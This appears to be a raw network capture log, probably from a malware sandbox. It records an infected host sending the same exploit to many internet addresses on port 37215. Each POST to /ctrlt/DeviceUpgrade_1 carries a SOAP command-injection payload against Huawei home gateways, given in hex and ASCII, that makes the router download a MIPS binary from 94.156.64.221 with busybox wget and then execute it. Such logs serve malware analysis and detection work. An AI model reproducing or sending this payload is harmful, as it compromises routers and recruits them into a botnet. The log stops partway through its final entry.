2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	52956	156.95.106.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256689072 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	52616	41.56.241.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256721973 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	54536	197.248.232.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256773949 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	57300	156.13.117.57	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256856918 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	58434	197.24.244.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256903887 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	37148	41.238.177.50	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256952047 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	58146	156.249.12.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.257008076 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	51850	41.201.77.122	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.257093906 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	39250	41.136.53.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273649931 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	37362	156.48.71.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273710966 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	47490	41.197.206.174	37215

Timestamp	Bytes transferred	Direction	Data
